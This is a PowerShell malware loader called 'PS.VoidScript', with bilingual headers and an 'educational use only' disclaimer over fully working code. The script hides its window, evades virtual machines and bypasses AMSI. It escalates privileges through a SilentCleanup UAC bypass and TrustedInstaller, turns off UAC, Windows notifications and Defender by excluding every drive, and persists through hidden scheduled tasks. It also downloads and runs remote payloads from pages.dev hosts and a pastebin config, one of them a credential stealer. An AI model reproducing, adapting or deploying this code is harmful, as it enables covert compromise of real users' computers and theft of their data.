# === Copyright (C) 20XX "PS.VoidScript" by zetod1ce [github.com/ztd38f] === # <# [!] ДИСКЛЕЙМЕР [!] Автор полностью отказывается от какой-либо ответственности за использование данного скрипта. Скрипт предоставляется "КАК ЕСТЬ", может быть изменён или дополнен в любое время без уведомления. Использование допускается только для личного обучения в строго контролируемой среде под надзором профессионалов. Всё использование осуществляется исключительно на ваш страх и риск. [!] DISCLAIMER [!] The author fully disclaims any responsibility for the use of this script. The script is provided "AS IS" and may be changed or updated at any time without notice. Use is permitted only for personal educational purposes in a strictly controlled environment under professional supervision. All use is entirely at your own risk. #> <# Описание Функционала: 1. Подготовка: > Функция WinHide для скрытия окна консоли > Функция Update-UserVars для обновления переменных под текущего пользователя > Функция MsgBlock для графических информационных сообщений (отладки) > Устанавливает ExecutionPolicy на Bypass > Отключает отладку и историю команд > Настраивает параметры UI консоли (кодировка, заголовок, размер, цвета) 2. Обход Защиты: > Завершение скрипта при обнаружении среды виртуальной машины (VirtualBox, VMware, Hyper-V, Parallels, Xen, QEMU/Bochs) > Функция PS.NullContext для обхода AMSI (AntiMalwareScanInterface) и ExecutionPolicy ограничений > Функция SetPrivileges для включения всех доступных привилегий > Функция UACBypass для получения прав администратора (если они не были предоставлены): + Если пользователь состоит в группе администраторов: Получает права админа используя уязвимость подмены переменной windir для задачи SilentCleanup - Если пользователь не состоит в группе администраторов: Функция TaskBackup создаёт автозапуск скрипта через планировщик задач & Выполняется зацикленный UAC-запрос на перезапуск консоли с правами администратора > Частично отключает защиту: * Отключает уведомления безопасности * Делает пользователя администратором * Отключает UAC (запросы на права администратора) * Добавляет все диски в исключения антивируса Windows Security * Отключает контролируемый доступ к папкам > Функция TaskBackup создаёт более скрытый автозапуск скрипта через планировщик задач > Функция RunAsTI для получения высших прав системы TrustedInstaller 3. Запуск: > Переподключается к интернету каждый раз при потере соединения > Скачивает и запускает файл согласно приготовленной конфигурации из удалённого веб-конфига > Убирает защиту от Zone.Identifier (Alternative Data Stream) > Устанавливает скрытые атрибуты для файлов и папок > Выполняет скачанный файл с параметром пароля > Запускает скрипт стилера #> <# Description of Functionality: 1. Preparation: > WinHide function to hide the console window > Update-UserVars function to update variables for the current user > MsgBlock function for graphical informational messages (debugging) > Sets ExecutionPolicy to Bypass > Disables debugging and command history > Configures console UI settings (encoding, title, size, colors) 2. Security Bypass: > Terminates the script if a virtual machine environment is detected (VirtualBox, VMware, Hyper-V, Parallels, Xen, QEMU/Bochs) > PS.NullContext function to bypass AMSI (AntiMalwareScanInterface) and ExecutionPolicy restrictions > SetPrivileges function to enable all available privileges > UACBypass function to getting administrator rights (if they were not granted): + If the user is in the administrators group: Gains admin rights using the windir variable substitution vulnerability for the SilentCleanup task - If the user is not in the administrators group: The TaskBackup function creates script autostart via Task Scheduler & performs a looped UAC request to restart the console with administrator rights > Partially disables security: * Disables security notifications * Makes the user an administrator * Disables UAC (administrator rights prompts) * Adds all drives to Windows Security antivirus exclusions * Disables controlled folder access > The TaskBackup function creates a more stealthy script autostart via Task Scheduler > RunAsTI function to obtain the highest TrustedInstaller system rights 3. Execution: > Reconnects to the internet each time the connection is lost > Downloads and runs a file according to the prepared configuration from remote web-config > Removes protection by Zone.Identifier (Alternative Data Stream) > Sets hidden attributes for files and folders > Executes downloaded file with password parameter > Runs stealer script #> # -- Console UI Settings -- # $InformationPreference = $ErrorActionPreference = $WarningPreference = $ProgressPreference = $VerbosePreference = 0 [console]::InputEncoding = [console]::OutputEncoding = [Text.UTF8Encoding]::new() = [Text.Encoding]::UTF8 [console]::Title = "PS.VoidScript [github.com/ztd38f]" [console]::SetWindowSize(80, 25) [console]::SetBufferSize(80, 25) [console]::BackgroundColor = "Black" [console]::ForegroundColor = "White" Cls # -- Disable Debugging / History -- # Set-PSDebug -t 0 Set-PSReadLineOption -HistorySaveStyle 0 rd (Get-PSReadLineOption).HistorySavePath -force # -- Hide Console -- # function WinHide ($flag = $false) { $v = if ($flag) {0} else {1} Add-Type 'using System;using System.Runtime.InteropServices;public class H{[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd,int nCmdShow);}' [H]::ShowWindow([H]::GetConsoleWindow(),$v)>$null }; WinHide # -- Graphical Messages -- # function MsgBlock ([string]$T, $flag = $true){ if (!($flag)){return $null} Add-Type -ra System.Windows.Forms,System.Drawing 'using System;using System.Drawing;using System.Windows.Forms;public class Text:Form{Timer t;float o=0.1f;int d=300;bool f=true;public Text(string txt){FormBorderStyle=FormBorderStyle.None;ShowInTaskbar=false;TopMost=true;StartPosition=FormStartPosition.CenterScreen;Opacity=0;DoubleBuffered=true;ForeColor=Color.Red;BackColor=Color.Black;ShowInTaskbar=false;using(var g=CreateGraphics()){var fnt=new Font("Arial",24,FontStyle.Bold,GraphicsUnit.Pixel);var lines=txt.Split(''\n'');float w=0;float h=0;foreach(var line in lines){var sz=g.MeasureString(line,fnt);w=Math.Max(w,sz.Width);h+=sz.Height;}ClientSize=new Size((int)w+30,(int)h+30);}t=new Timer{Interval=20};t.Tick+=T_Tick;t.Start();Paint+=(s,e)=>{e.Graphics.FillRectangle(new SolidBrush(BackColor),0,0,ClientSize.Width,ClientSize.Height);e.Graphics.DrawRectangle(new Pen(Color.Red,3),3,3,ClientSize.Width-6,ClientSize.Height-6);e.Graphics.TextRenderingHint=System.Drawing.Text.TextRenderingHint.AntiAliasGridFit;var fnt=new Font("Arial",24,FontStyle.Bold,GraphicsUnit.Pixel);var lines=txt.Split(''\n'');float y=15;foreach(var line in lines){var sz=e.Graphics.MeasureString(line,fnt);e.Graphics.DrawString(line,fnt,new SolidBrush(ForeColor),(ClientSize.Width-sz.Width)/2,y);y+=sz.Height;}};}void T_Tick(object s,EventArgs e){if (f){if (Opacity<1)Opacity+=o;else{f=false;t.Interval=d;}}else{if (t.Interval==d){t.Interval=20;o=-o;}if (Opacity<=0){t.Stop();Close();}Opacity+=o;}}}' *>$null [Windows.Forms.Application]::EnableVisualStyles() (New-Object Text $T).ShowDialog()>$null } # -- Update Environment Variables For Current User -- # function Update-UserVars { $ConsoleUser = ([Security.Principal.WindowsIdentity]::GetCurrent().Name.Split('\')[-1]) $CurentUser = (((query session | sls console) -split '\s+')[1]) $ConsoleUserPathName = ((gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$((New-Object Security.Principal.NTAccount($ConsoleUser)).Translate([Security.Principal.SecurityIdentifier]).Value)").ProfileImagePath).Split('\', 2)[1] $CurentUserPathName = ((gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$((New-Object Security.Principal.NTAccount($CurentUser)).Translate([Security.Principal.SecurityIdentifier]).Value)").ProfileImagePath).Split('\', 2)[1] $ConsoleUser, $CurentUser, $ConsoleUserPathName, $CurentUserPathName gci env: |% {si "env:\$($_.Name)" ($_.Value -replace [regex]::Escape($ConsoleUserPathName), $CurentUserPathName -replace [regex]::Escape($ConsoleUser), $CurentUser)} }; Update-UserVars # -- Virtual Machine Detection -- # MsgBlock "VIRTUAL MACHINE DETECTION" iex (irm -useb vmdt.pages.dev) # -- AMSI & Execution Policy Bypass -- # MsgBlock "AMSI & EXECUTION POLICY `nBYPASS" iex (irm -useb psamsi.pages.dev) # -- Enable All Privileges -- # MsgBlock "ENABLE ALL PRIVILEGES" <# $p=Add-Type '[DllImport("ntdll.dll")]public static extern int RtlAdjustPrivilege(uint a,bool b,bool c,ref bool d);' -Name P -PassThru; 0..40|%{$p::RtlAdjustPrivilege($_,1,0,[ref]0)|Out-Null}; #> function SetPrivileges {whoami /priv |? {$_ -match '^Se\w+'} |% {$matches[0]} |% {([diagnostics.process].GetMember('SetPrivilege',42)[0]).Invoke($null,("$_",2))}}; SetPrivileges # -- Auto-start via Task Scheduler -- # MsgBlock "CREATING AUTOSTART" function TaskBackup ($exe,$arg,$taskname){@("2025-01-01T00:00:00$env:usernametrueSessionUnlock$env:userdomain\$env:username$env:userdomain\$env:usernameInteractiveTokenLeastPrivilegeIgnoreNewfalsefalsetruefalsetruetruefalsetruetruetruefalsefalseP3D7$exe$arg") >"$env:temp\task.xml"; schtasks /delete /tn $taskname /f; schtasks /create /xml "$env:temp\task.xml" /tn "$taskname" /it /f; rd "$env:temp\task.xml" -r -force} # -- UAC Bypass -- # TaskBackup "$exe" "$arg" "VoidScript_$env:username" MsgBlock "UAC BYPASS" function UACBypass($exe,$arg){ $exe = (gcm $exe -ea 0).Source if(!(openfiles)){ if((whoami /groups) | sls 544){ # ([Security.Principal.WindowsIdentity]::GetCurrent().Groups.Value -contains 'S-1-5-32-544') sp "HKCU:\Environment" "windir" "$exe`" $arg `"#" -t s -force schtasks /run /tn Microsoft\Windows\DiskCleanup\SilentCleanup /I rp HKCU:\Environment windir -force; exit } else {do {start -v runas -win h "$exe" "$arg"; $x = $?} while (!($x)); exit} } } UACBypass "$env:SystemRoot\System32\conhost.exe" "--headless `"$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe`" -win h -ep bypass -nop -c `"iex(irm -useb psvs.pages.dev)`"" # -- Disable Notifications -- # MsgBlock "DISABLE NOTIFICATIONS" reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SmartAppControl" /v "Enabled" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Policies\Microsoft\Windows\CurrentVersion\PushNotifications" /v "NoToastApplicationNotification" /t REG_DWORD /d 1 /f reg add "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d 1 /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d 0 /f ("EnableNotifications","EnableToastApplicationNotification","NOC_GLOBAL_SETTING_TOASTS_ENABLED") |% {reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "$_" /t REG_DWORD /d 0 /f} ("DisableNotifications","DisableEnhancedNotifications","DisableMonitoring","DisableAlerts","DisableNotificationsUI","DisableNotificationCenter") |% {reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "$_" /t REG_DWORD /d 1 /f} # -- Add To Administrators Group -- # MsgBlock "BECOME AN ADMIN" net localgroup ((gcim Win32_Group -f "SID='S-1-5-32-544'").Name) $env:username /add # -- Disable UAC -- # MsgBlock "DISABLE UAC" ('EnableLUA','ConsentPromptBehaviorAdmin') |% {sp "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "$_" 0 -t d -force} sp "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "PromptOnSecureDesktop" 1 -t d -force # -- Disable Microsoft Defender/Firewall Protection -- # MsgBlock "BYPASS MICROSOFT DEFENDER" (ni "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -force) ((gdr -psp FileSystem).Root |% {New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -n $_ -pr string -v "" -force; Add-MpPreference -ExclusionPath $_ -force}) # iex (irm -useb def-d.pages.dev) # -- Recreate Autorun With Elevated Privileges -- # MsgBlock "CREATING AUTOSTART" TaskBackup "$env:SystemRoot\System32\conhost.exe" "--headless `"$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe`" -win h -ep bypass -nop -c `"iex (irm -useb psvs.pages.dev)`"" "Microsoft\Windows\Security\VoidScript_$env:username" # -- Gains Trustedinstaller Rights -- # MsgBlock "GAINS TRUSTEDINSTALLER RIGHTS" iex (irm -useb psti.pages.dev) if (!([Security.Principal.WindowsIdentity]::GetCurrent().User.Value -eq 'S-1-5-18')){runasti "$env:SystemRoot\System32\conhost.exe" "--headless $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -win h -ep bypass -nop -c `"iex (irm -useb psvs.pages.dev)`""; exit} # -- Reconnect To Network In A Loop -- # MsgBlock "LOOP NETWORK CONNECTION" start "$env:SystemRoot\System32\conhost.exe" "--headless $env:SystemRoot\System32\cmd.exe /k for /l %i in () do (ping -n 1 google.com || (for /f `"tokens=2 delims=:`" %n in ('netsh wlan show profiles') do (netsh wlan set profileparameter name=%n connectionmode=auto)))" # -- Download File By Web-Config -- # MsgBlock "FILE DOWNLOADING" ($url, $dir, $file, $password) = ((irm -useb "pastebin.com/raw/6Kviu6cA?$(Get-Random)").content.split("`n").trim())[0..3] $dir = iex "$dir" if (!(Test-Path "$dir\$file")){ni "$dir" -i d -force >$null; irm -useb "$url" -ou "$dir\$file"} # -- Execute File With Parameters -- # MsgBlock "FILE EXECUTION" set-content ("$dir\$file"+":Zone.Identifier") "" -force >$null attrib +s +a +p +h +i +r +x "$dir\$file" start -v runas -win h "$env:SystemRoot\System32\conhost.exe" "`"$dir\$file`" -p$password" MsgBlock "STEALER EXECUTION" iex (irm -useb psstl.pages.dev) exit